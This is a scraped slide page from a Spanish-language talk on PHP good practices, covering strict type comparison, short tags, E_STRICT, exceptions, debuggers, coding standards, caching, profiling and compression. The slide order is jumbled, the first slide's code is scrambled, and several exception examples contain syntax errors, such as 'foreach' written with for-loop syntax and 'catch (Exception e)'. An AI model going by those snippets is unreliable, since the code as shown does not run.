La situación: La mayor parte del contenido
 no es dinámicamente generado
  ➔   90% del tiempo el servidor está enviando la misma
      información a múltiples usuarios
  ➔   Cada pedido de una página, resulta en los mismos
      resultados de búsqueda en la base de datos
  ➔   90% del trabajo de tu servidor se gasta en
      regenerar el mismo contenido... ¡estático!




                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usar cache al máximo (2)

La solución: Usa un cache
    ➔   Estima la frecuencia con que realmente necesitas
        regenerar tu contenido dinámico
    ➔   Usa un cache para los periodos en los que no
        regeneras el contenido
    ➔   Evita el que el contenido estático sea regenerado, o
        actualiza este con mucho menor frecuencia
●   Librerías de cache sugeridas:
    ➔   Cache_Lite (http://pear.php.net/Cache_Lite)
    ➔   eZCache (http://ez.no/products/ez_components)

                                    Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                        Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usar cache al máximo (3)




                        Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
            Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Cuidado con las expresiones
regulares (1)
La situación: Las expresiones regulares
 (regexes) pueden consumir mucho tiempo
 de proceso
 ➔   Prefiere usar PCRE en lugar de EREG, es mas
     potente y mas rápido
 ➔   Una regex escrita incorrectamente puede consumir
     mucho tiempo de proceso
 ➔   Una función en C equivalente es siempre mucho
     mas veloz que la regex equivalente


                                Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                    Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Cuidado con las expresiones
regulares (2)
La solución: Piensa dos veces antes de usar
 una regex
  ➔   ¿Existe una función en PHP que hace el mismo
      trabajo que mi regex?
  ➔   Reemplaza tus EREGs por PCREs
  ➔   Trata de no usar “backtracking” de ser posible (usa
      el modificador U, cuando sea posible)
  ➔   Lee, aprende y usa inteligentemente el contenido
      del libro:
      “Mastering Regular Expressions”
      (http://www.oreilly.com/catalog/regex/)
                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Emplea cache de código
intermedio/compilado (1)
La situación: Compilación del código de
 PHP (en el servidor) consume tiempo
  ➔   Tu código de PHP es recompilado cada vez que
      hay un pedido
  ➔   Aún si es 0.5 seg por cada pedido, eso significa
      mas de 2 minutos en sólo 250 pedidos
  ➔   Compilar algunos archivos de PHP toma más
      tiempo que ejecutarlos, en particular si estos
      incluyen muchos otros archivos (clases,
      configuración, etc.)


                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Emplea cache de código
intermedio/compilado (2)
La solución: Usa cache de OP code
    ➔   El motor Zend compila el código PHP en OP code
        antes de ejecutarlo
    ➔   El OP code no cambia a menos que cambies tu
        código fuente
    ➔   Un cache de OP code ahorra la compilación
●   Recomendaciones de caches de OP code:
    ➔   APC (Código Libre): http://pecl.php.net/APC
    ➔   Zend perfomance suite (comercial):
        http://www.zend.com

                                    Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                        Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Emplea cache de código
intermedio/compilado (3)




                        Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
            Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Haz un perfil del aplicativo (1)

La situación: Es difícil encontrar los cuellos
 de botella en un aplicativo grande
  ➔   Aún los aplicativos mejor diseñados y escritos,
      pueden sufrir de componentes que causan que todo
      funciones lentamente
  ➔   Encontrar los cuellos de botella, en ocasiones es
      muy, pero muy, difícil
  ➔   El tratar de encontrar problemas por pruebas y error
      al azar, consume tiempo y no es efectivo en casos
      complejos


                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Haz un perfil del aplicativo (2)

La solución: Haz un perfil de tu código
    ➔   Un perfilador te muestra cuanto tiempo consume
        cada parte de tu código
    ➔   Xdebug también tiene un perfilador
    ➔   Un perfilador identifica inequívocamente los cuellos
        de botella (no tienes que adivinar)
●   Recomendaciones de perfiladores
    ➔   Xdebug (Código Libre): http://xdebug.org/
    ➔   APD (Código Libre): http://pecl.php.net/package/apd


                                    Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                        Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa mod_gzip (1)

La situación: No tienes ancho de banda
 suficiente para tu servidor de web
  ➔   A veces el problema no es la velocidad de tu CPU,
      tus discos o tu base de datos
  ➔   Con muchos datos a transmitir, o un ancho de
      banda pobre, la velocidad de transmisión sufre
  ➔   Las sugerencias usuales para mejorar la
      performance de tu aplicativo, no te son muy útiles
      en este caso



                                  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                      Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa mod_gzip (2)

La solución: Usa mod_gzip
 ➔   Comprime tus datos en tiempo real
 ➔   Compresión GZIP es parte de HTTP 1.1
 ➔   Puede reducir los datos a ser transferidos hasta en
     un 80%
 ➔   Está disponible como un módulo de Apache
 ➔   Para más información:
     http://sourceforge.net/projects/mod-gzip/




                                 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                     Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Palabras finales
●   El mejorar tu código implica cambios de
    hábitos y el uso de herramientas que
    hagan tu trabajo mejor y mas eficiente
●   Lee código y eso ayudará a que el tuyo
    mejore. Lo mismo para la documentación.
●   Programa considerando la seguridad
    como parte integral de tu diseño y no
    como algo secundario.
●   Mejorar la performance no es difícil, pero
    requiere algo de trabajo.
                               Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                   Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Para mas información
●   PHP: http://www.php.net
●   Zend: http://www.zend.com
●   Manual de PHP: http://www.php.net/manual/
●   Charlas acerca de PHP: http://talks.php.net/
●   Bugs: http://bugs.php.net/
●   Listas de correo: http://news.php.net
●   CVS: http://cvs.php.net
●   Otros sitios de PHP.net: http://www.php.net/sites.php
●   Libros: http://www.php.net/books.php
●   Otras referencias: http://www.php.net/links.php


                                    Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                        Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
¡Gracias!
✔ A los organizadores por su invitación para
  hablar acerca de este tema.
✔ A ustedes por no aburrirse mucho con mi charla

  interminable.
✔ A todos los desarrolladores de PHP que nos

  hacen la vida mas fácil.
✔ A Kore Nordmann y Tobias Schlitt, de quienes

  tomé gran parte del material.

    Esta y otras presentaciones disponibles en:
            http://www.castagnetto.com/
                               Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y
                   Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia

More Related Content

What's hot

Requerimientos de server y centos
Requerimientos de server y centosRequerimientos de server y centos
Requerimientos de server y centos
ana guerrero
 
Introduzione al linguaggio PHP
Introduzione al linguaggio PHPIntroduzione al linguaggio PHP
Introduzione al linguaggio PHP
extrategy
 

What's hot (20)

7. Utilización de mecanismos de comunicación asíncrona
7. Utilización de mecanismos de comunicación asíncrona7. Utilización de mecanismos de comunicación asíncrona
7. Utilización de mecanismos de comunicación asíncrona
 
Programacion web
Programacion webProgramacion web
Programacion web
 
PROTOCOLO HTTPS
PROTOCOLO HTTPSPROTOCOLO HTTPS
PROTOCOLO HTTPS
 
Infografia modelo osi
Infografia modelo osiInfografia modelo osi
Infografia modelo osi
 
DIRECTORIO ACTIVO
DIRECTORIO ACTIVODIRECTORIO ACTIVO
DIRECTORIO ACTIVO
 
Requerimientos de server y centos
Requerimientos de server y centosRequerimientos de server y centos
Requerimientos de server y centos
 
Servidor web
Servidor webServidor web
Servidor web
 
Introducción a PHP
Introducción a PHPIntroducción a PHP
Introducción a PHP
 
Sistemas de cifrado
Sistemas de cifradoSistemas de cifrado
Sistemas de cifrado
 
Que es fireware
Que es firewareQue es fireware
Que es fireware
 
Presentacion HTTP/HTTPS/DNS
Presentacion HTTP/HTTPS/DNSPresentacion HTTP/HTTPS/DNS
Presentacion HTTP/HTTPS/DNS
 
Ejercicios resueltos de sql
Ejercicios resueltos de sqlEjercicios resueltos de sql
Ejercicios resueltos de sql
 
Introducción a Internet
Introducción a InternetIntroducción a Internet
Introducción a Internet
 
Normalización
NormalizaciónNormalización
Normalización
 
Programacion web
Programacion webProgramacion web
Programacion web
 
Internet Protocol Secure (IPSec)
Internet Protocol Secure (IPSec)Internet Protocol Secure (IPSec)
Internet Protocol Secure (IPSec)
 
Protocolo arp
Protocolo arpProtocolo arp
Protocolo arp
 
Protocolo http
Protocolo httpProtocolo http
Protocolo http
 
Introduzione al linguaggio PHP
Introduzione al linguaggio PHPIntroduzione al linguaggio PHP
Introduzione al linguaggio PHP
 
ATAQUE MAN IN THE MIDDLE
ATAQUE MAN IN THE MIDDLEATAQUE MAN IN THE MIDDLE
ATAQUE MAN IN THE MIDDLE
 

Similar to Buenas Prácticas de Programación en PHP

Ejercicios segunda práctica php.
Ejercicios segunda práctica php.Ejercicios segunda práctica php.
Ejercicios segunda práctica php.
palomino1025
 
02_C_Functions_Arrays.pdf
02_C_Functions_Arrays.pdf02_C_Functions_Arrays.pdf
02_C_Functions_Arrays.pdf
alexey63
 
Practica nº2.php
Practica nº2.phpPractica nº2.php
Practica nº2.php
patys_13
 
Practica nº2.php
Practica nº2.phpPractica nº2.php
Practica nº2.php
patys_13
 
Practica nº2.php
Practica nº2.phpPractica nº2.php
Practica nº2.php
sonia_13
 
SÍLABO DE PRESUPUESTOS (5º NIVEL "A" VESP. CONT. Y AUD.) UTMACHALA
SÍLABO DE PRESUPUESTOS (5º NIVEL "A" VESP. CONT. Y AUD.) UTMACHALASÍLABO DE PRESUPUESTOS (5º NIVEL "A" VESP. CONT. Y AUD.) UTMACHALA
SÍLABO DE PRESUPUESTOS (5º NIVEL "A" VESP. CONT. Y AUD.) UTMACHALA
Angel Berrones
 
PresentacióN 4
PresentacióN 4PresentacióN 4
PresentacióN 4
pokerpc
 
Problemas propuestos clase 0-1
Problemas propuestos  clase 0-1Problemas propuestos  clase 0-1
Problemas propuestos clase 0-1
Jefferson Prieto
 
Problemas propuestos clase 0-1
Problemas propuestos  clase 0-1Problemas propuestos  clase 0-1
Problemas propuestos clase 0-1
Jefferson Prieto
 
Problemas propuestos clase 0-1
Problemas propuestos  clase 0-1Problemas propuestos  clase 0-1
Problemas propuestos clase 0-1
Jefferson Prieto
 

Similar to Buenas Prácticas de Programación en PHP (20)

SCJP, Clase 2: Ejemplos De Enum, Poo
SCJP, Clase 2: Ejemplos De Enum, PooSCJP, Clase 2: Ejemplos De Enum, Poo
SCJP, Clase 2: Ejemplos De Enum, Poo
 
Sentencia for y while 5
Sentencia for y while 5Sentencia for y while 5
Sentencia for y while 5
 
Haesler
HaeslerHaesler
Haesler
 
Php Peru Test Fest 2009
Php Peru Test Fest 2009Php Peru Test Fest 2009
Php Peru Test Fest 2009
 
Ejercicios segunda práctica php.
Ejercicios segunda práctica php.Ejercicios segunda práctica php.
Ejercicios segunda práctica php.
 
Asegúr@IT II - Seguridad en Web
Asegúr@IT II - Seguridad en WebAsegúr@IT II - Seguridad en Web
Asegúr@IT II - Seguridad en Web
 
02_C_Functions_Arrays.pdf
02_C_Functions_Arrays.pdf02_C_Functions_Arrays.pdf
02_C_Functions_Arrays.pdf
 
Perl
PerlPerl
Perl
 
Ejercicios raíces de funciones
Ejercicios raíces de funciones Ejercicios raíces de funciones
Ejercicios raíces de funciones
 
Array 6 en lenguaje PHP
Array 6 en lenguaje PHPArray 6 en lenguaje PHP
Array 6 en lenguaje PHP
 
Practica nº2.php
Practica nº2.phpPractica nº2.php
Practica nº2.php
 
Practica nº2.php
Practica nº2.phpPractica nº2.php
Practica nº2.php
 
Practica nº2.php
Practica nº2.phpPractica nº2.php
Practica nº2.php
 
SÍLABO DE PRESUPUESTOS (5º NIVEL "A" VESP. CONT. Y AUD.) UTMACHALA
SÍLABO DE PRESUPUESTOS (5º NIVEL "A" VESP. CONT. Y AUD.) UTMACHALASÍLABO DE PRESUPUESTOS (5º NIVEL "A" VESP. CONT. Y AUD.) UTMACHALA
SÍLABO DE PRESUPUESTOS (5º NIVEL "A" VESP. CONT. Y AUD.) UTMACHALA
 
Expresiones Regulares
Expresiones RegularesExpresiones Regulares
Expresiones Regulares
 
PresentacióN 4
PresentacióN 4PresentacióN 4
PresentacióN 4
 
Sentencia for y while
Sentencia for y whileSentencia for y while
Sentencia for y while
 
Problemas propuestos clase 0-1
Problemas propuestos  clase 0-1Problemas propuestos  clase 0-1
Problemas propuestos clase 0-1
 
Problemas propuestos clase 0-1
Problemas propuestos  clase 0-1Problemas propuestos  clase 0-1
Problemas propuestos clase 0-1
 
Problemas propuestos clase 0-1
Problemas propuestos  clase 0-1Problemas propuestos  clase 0-1
Problemas propuestos clase 0-1
 

More from Jesus Castagnetto

Servicios Web en Bioinformática
Servicios Web en BioinformáticaServicios Web en Bioinformática
Servicios Web en Bioinformática
Jesus Castagnetto
 
Construyendo una AOS con PHP: Patrones de Diseño de Servicios Web en PHP
Construyendo una AOS con PHP: Patrones de Diseño de Servicios Web en PHPConstruyendo una AOS con PHP: Patrones de Diseño de Servicios Web en PHP
Construyendo una AOS con PHP: Patrones de Diseño de Servicios Web en PHP
Jesus Castagnetto
 
Influencia del Software Libre y Acceso Abierto en la Investigación Biomédica
Influencia del Software Libre y Acceso Abierto en la Investigación BiomédicaInfluencia del Software Libre y Acceso Abierto en la Investigación Biomédica
Influencia del Software Libre y Acceso Abierto en la Investigación Biomédica
Jesus Castagnetto
 

More from Jesus Castagnetto (8)

Servicios Web en Bioinformática
Servicios Web en BioinformáticaServicios Web en Bioinformática
Servicios Web en Bioinformática
 
PHP: Un ecosistema de comunidades
PHP: Un ecosistema de comunidadesPHP: Un ecosistema de comunidades
PHP: Un ecosistema de comunidades
 
Nuevas Areas de Investigación en Química
Nuevas Areas de Investigación en QuímicaNuevas Areas de Investigación en Química
Nuevas Areas de Investigación en Química
 
Manteniendo la casa limpia: Probando y depurando aplicativos en PHP
Manteniendo la casa limpia: Probando y depurando aplicativos en PHPManteniendo la casa limpia: Probando y depurando aplicativos en PHP
Manteniendo la casa limpia: Probando y depurando aplicativos en PHP
 
Construyendo una AOS con PHP: Patrones de Diseño de Servicios Web en PHP
Construyendo una AOS con PHP: Patrones de Diseño de Servicios Web en PHPConstruyendo una AOS con PHP: Patrones de Diseño de Servicios Web en PHP
Construyendo una AOS con PHP: Patrones de Diseño de Servicios Web en PHP
 
Influencia del Software Libre y Acceso Abierto en la Investigación Biomédica
Influencia del Software Libre y Acceso Abierto en la Investigación BiomédicaInfluencia del Software Libre y Acceso Abierto en la Investigación Biomédica
Influencia del Software Libre y Acceso Abierto en la Investigación Biomédica
 
Sistemas para el Control de Versiones de Código
Sistemas para el Control de Versiones de CódigoSistemas para el Control de Versiones de Código
Sistemas para el Control de Versiones de Código
 
Aprendiendo con las comunidades de Software Libre: Una experiencia personal
Aprendiendo con las comunidades de Software Libre: Una experiencia personalAprendiendo con las comunidades de Software Libre: Una experiencia personal
Aprendiendo con las comunidades de Software Libre: Una experiencia personal
 

Recently uploaded

Modulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdfModulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdf
AnnimoUno1
 

Recently uploaded (11)

EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptxEVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNIT
 
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptxPROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
 
Modulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdfModulo-Mini Cargador.................pdf
Modulo-Mini Cargador.................pdf
 
Avances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvanaAvances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvana
 
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdfRefrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
Refrigerador_Inverter_Samsung_Curso_y_Manual_de_Servicio_Español.pdf
 
Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21
 
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptxEL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
EL CICLO PRÁCTICO DE UN MOTOR DE CUATRO TIEMPOS.pptx
 
Avances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estosAvances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estos
 
How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.
 
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
 

Buenas Prácticas de Programación en PHP

  • 1. Buenas prácticas de programación en PHP p'; d.ph at aGri es/D p ctur ; <?ph e 'Stru (10) ); i r a Grid ame' requ er page res_Dat st/ db_n ds p uctu d@ho tions); 0 r ecor new Str swor $op // 1 rid =& :pas ag //user _tablequot;, $dat urce 'mysql: ROM my da taso => * F your y('dsn' quot;SELECT etup ra ( // S ns = ar id->bind ) { io r ) e) $opt = $datag or($test ge(); Tabl t rr a TML $tes AR::isE >getMess erer (H if (PE $te st- t rend echo faul th e de with } taG rid r(); th e Da ->rende { rint grid )) // P = $data or($test ge(); t r a $tes AR::isEr >getMess PE - if ( ho $test GER) ; ec s NDER_PA link D_RE } pa ging DATAGRI TML er( t t he H d->rend { rin gri t)) // P = $data or($tes ge(); rr a Jesús M. Castagnetto M., Ph.D. t $tes AR::isE >getMess PE if ( ho $test e c - jesus@upch.edu.pe // jmcastagnetto@php.net } ?> http://www.castagnetto.com/ Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 2. Agenda ● Consideraciones generales ● Seguridad ● Mejorando el funcionamiento ● Donde encontrar mas información Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 3. ¿Por que se necesita una charla como esta? ● PHP es un lenguaje fácil de aprender, usarlo en forma experta toma tiempo y esfuerzo ● Los problemas de seguridad están en todas partes, en especial, las inesperadas ● Tener buena performance es muy importante en aplicativos de web ● El Código Libre debe ser robusto, funcionar bien, y verse mejor Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 4. ... y que espero que aprendan ● Errores comunes y como evitarlos ● Algunos “trucos” interesantes que pueden reutilizar ● Como usar buenas herramientas para mejorar su código y sus aplicativos, y hacer su vida mas placentera :-) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 5. Consideraciones Generales En esta sección aprenderemos: ● Hábitos comunes para escribir buen código en PHP ● Algunos consejos para “limpiar” tu código ● Comportamientos que debemos evitar para no cometer tantos errores Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 6. Consideraciones Generales: Tópicos ● Asegurarse del tipo de datos ● Usar “tags” cortas es malo ● Ser “E_STRICTo” es bueno ● Emplear excepciones ● Usar un depurador (debugger) ● Evitar reinventar la rueda ● Los estándares de código son buenos ● Documentar, documentar, documentar Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 7. Tipos de datos (1) La situación: PHP no usa tipos estrictos: <?php   $foo = quot;1quot;; Resultado:   $bar = $foo + 1; string(1) “1”   var_dump($foo, $bar); ?> int(2) ... los operadores tampoco lo usan: <?php     $int = 1;     $string = quot;1quot;;     $bool = true; Resultado:     var_dump($int == $string); bool(true)     var_dump($string == $bool); bool(true)     var_dump($int == $bool); ?> bool(true) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 8. Tipos de datos (2) Esto causa situaciones confusas: <?php   var_dump( '1' == '1.' ); Resultado: ?>  bool(true) ... y produce errores como el siguiente: <?php     function foo($answer) {         if ($answer > 10) {             return true;         } else {             return $answer;         }     } Resultado:     if (foo(11)) {         echo quot;11 es mayor que 10<br />quot;; 11 es mayor que 10     }         9 es mayor que 10     if (foo(9)) {         echo quot;9 es mayor que 10<br />quot;;     } ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 9. Tipos de datos (3) La solución: programar asegurándose de los tipos de datos <?php   $foo = quot;1quot;; Resultado:   $bar = (int)$foo + 1;   var_dump((int)$foo, $bar); int(1) ?>  int(2) ... y usar comparadores que entiendan tipos: <?php     $int = 1;     $string = quot;1quot;; Resultado:     $bool = true;     var_dump($int === $string); bool(false)     var_dump($string === $bool); bool(false)     var_dump($int === $bool); bool(false) ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 10. Tipos de datos (3) Y el problema anterior, desaparece como por arte de magia: <?php     function foo($answer) {         if ($answer > 10) {             return true;         } else {             return $answer;         }     }     if (foo(11) === true) { Resultado:         echo quot;11 es mayor que 10<br />quot;; 11 es mayor que 10     }             if (foo(9) === true) {         echo quot;9 es mayor que 10<br />quot;;     } ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 11. “Tags” cortas son dañinas (1) La situación: PHP permite varias formas de marcar el comienzo del código: ➔ Forma estándar: <?php echo “Hola!”; ?> ➔ Forma corta: <? echo “Hola!”; ?> o aún peor: <?= “Hola!”; ?> ➔ ... y para los masoquistas: <% echo “Hola!”; %> Pero: ➔ <? esta reservado para declarar XML ➔ <?= no es XML válido (<?php si lo es) ➔ <% es para los que sueñan/sufren con ASP Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 12. “Tags” cortas son dañinas (2) La solución: Usar siempre la forma estándar (<?php) y convertir todos tus programas que no usan esa forma. La forma estándar ➔ Tiene garantizada soporte futuro ➔ Representa una instrucción de procesamiento válida en XML ➔ Es única a todos los programas de PHP Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 13. Se “E_STRICTo” (1) La situación: Desde PHP 5.0, existe un nuevo nivel de error: E_STRICT ➔ E_STRICT nos fuerza a escribir código que sea compatible (“limpio”) con PHP 5 ➔ Muy probablemente E_STRICT se convierta en E_FATAL en PHP 6 ➔ Existe mucho código que no es “E_STRICTo” y que por tanto no es portable en su totalidad a sistemas usando PHP 5 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 14. Se “E_STRICTo” (2) La solución: Usemos E_STRICT, y revisemos nuestro código: (en php.ini) error_reporting=E_ALL | E_STRICT Error típico encontrado usando E_STRICT: uso de is_a() en lugar de instanceof: <?php   if (is_a($object, 'ClassName')) { El problema     $object­>algunMetodo();   } ?>  <?php   if ($object instanceof ClassName) { La solución     $object­>algunMetodo();   } ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 15. Excepciones (1) La situación: PHP tiene excepciones ahora, esto es bueno, pero peligroso ➔ Las excepciones son una gran herramienta para manejar situaciones excepcionales en la ejecución del código ➔ A menudo se usan mal las excepciones, y tendemos a abusar de ellas ➔ Las excepciones causan un poco de pérdida de memoria cuando son ejecutadas en algunas situaciones Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 16. Excepciones (2) Abusando de las excepciones: <?php   function check_input($input) {     if ($input !== quot;Hello!quot;) {       throw new Exception(quot;User input wrongquot;);     }   } ?> Cuando podríamos haber hecho algo mas sensato: <?php   function check_input($input) {     if ($input !== quot;Hello!quot;) {       return false;     } else {       return true;     }   } ?> Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 17. Excepciones (2) Solución: Usemos bien las excepciones <?php   function check_server_connection() {     if (server_connection_timeout()) { Situaciones       throw new Exception('Connection timeout'); excepcionales     }   } ?> <?php   try {     $person­>setName('John Doe');     $person­>setAddress('Something St. 12');     $person­>setbirthDate('10­10­1900');     $person­>store();   } catch (Exception e) { Manejo de     throw new DataPopulationException(         'Unable to fill data for person ' . $person­>getId(), e errores en     ); un bloque   } de procesos ?> Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 18. Excepciones (3) Excepciones “pierden” alguito de memoria cuando se les lanza continuamente (por ejemplo en un bucle de proceso): <?php foreach ($i = 1000000; $i > 0; $i­­) { throw new Exceptions( quot;WOW, I'm leaking!quot; ); } ?>  La memoria pedida no es liberada por completo cada vez. Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 19. Usando un depurador (1) La situación: “¡Yo no necesito depurador!” ● “Para mi es suficiente usar var_dump() y print_r(). ¿Para que complicarme la vida?” ● Los errores de PHP no son muy informativos en casos moderadamente complejos ● Un depurador tiene características que ayudan mucho, y que evitan dolores de cabeza al analizar errores en nuestros aplicativos de web Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 20. Usa un depurador (2) Por ejemplo, el siguiente código: <?php function foo() {      phpinfo(quot;barquot;); } foo(); ?> Daría un error como este: Warning: phpinfo() expects a parameter 1 to be long, string given in /server/webdocs/foo.php on line 1 ... lo cual no nos dice mucho en realidad Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 21. Usa un depurador (3) En cambio, un buen depurador nos da mucha mas información: Ahora sabemos inclusive el orden de llamada que causo el error, cuando se realizó la llamada a la función, etc. Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 22. Usa un depurador (4) La solución: ¡Usen un buen depurador! ● Recomendación: Xdebug (http://xdebug.org) ➔ Es Código Libre ➔ Usado por muchos desarrolladores ➔ Se integra con PHP como una extensión ➔ Se integra con IDEs (ej. Komodo) ➔ Tiene opciones para obtener perfiles de uso y cobertura de código ● Otros depuradores:DBG(http://dd.cron.ru), APD (http:// pecl.php.net/package/apd), Zend IDE (propietario) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 23. Estándares de código (1) La situación: “¡Yo escribo código como a mi me viene en gana!” ● Esto causa dificultades al leer el código, lo cual es malo en un grupo de desarrollo ● Hace complicado que alguien mantenga tu código ● En ocasiones, tu mismo(a) tendrás problemas entendiendo tu propio “monstruo” Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 24. Estándares de código (2) La solución: ¡Usa un estándar de código! ● Existen muchos, buenos, aceptados, refinados y validados por comunidades grandes de desarrolladores: ➔ PEAR Code Standards: http://pear.php.net/manual/en/standards.php ➔ eZ Systems: http://ez.no/ezpublish/documentation/development/standards/php ➔ ZF Code Standard: http://framework.zend.com/manual/en/coding-standard.html Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
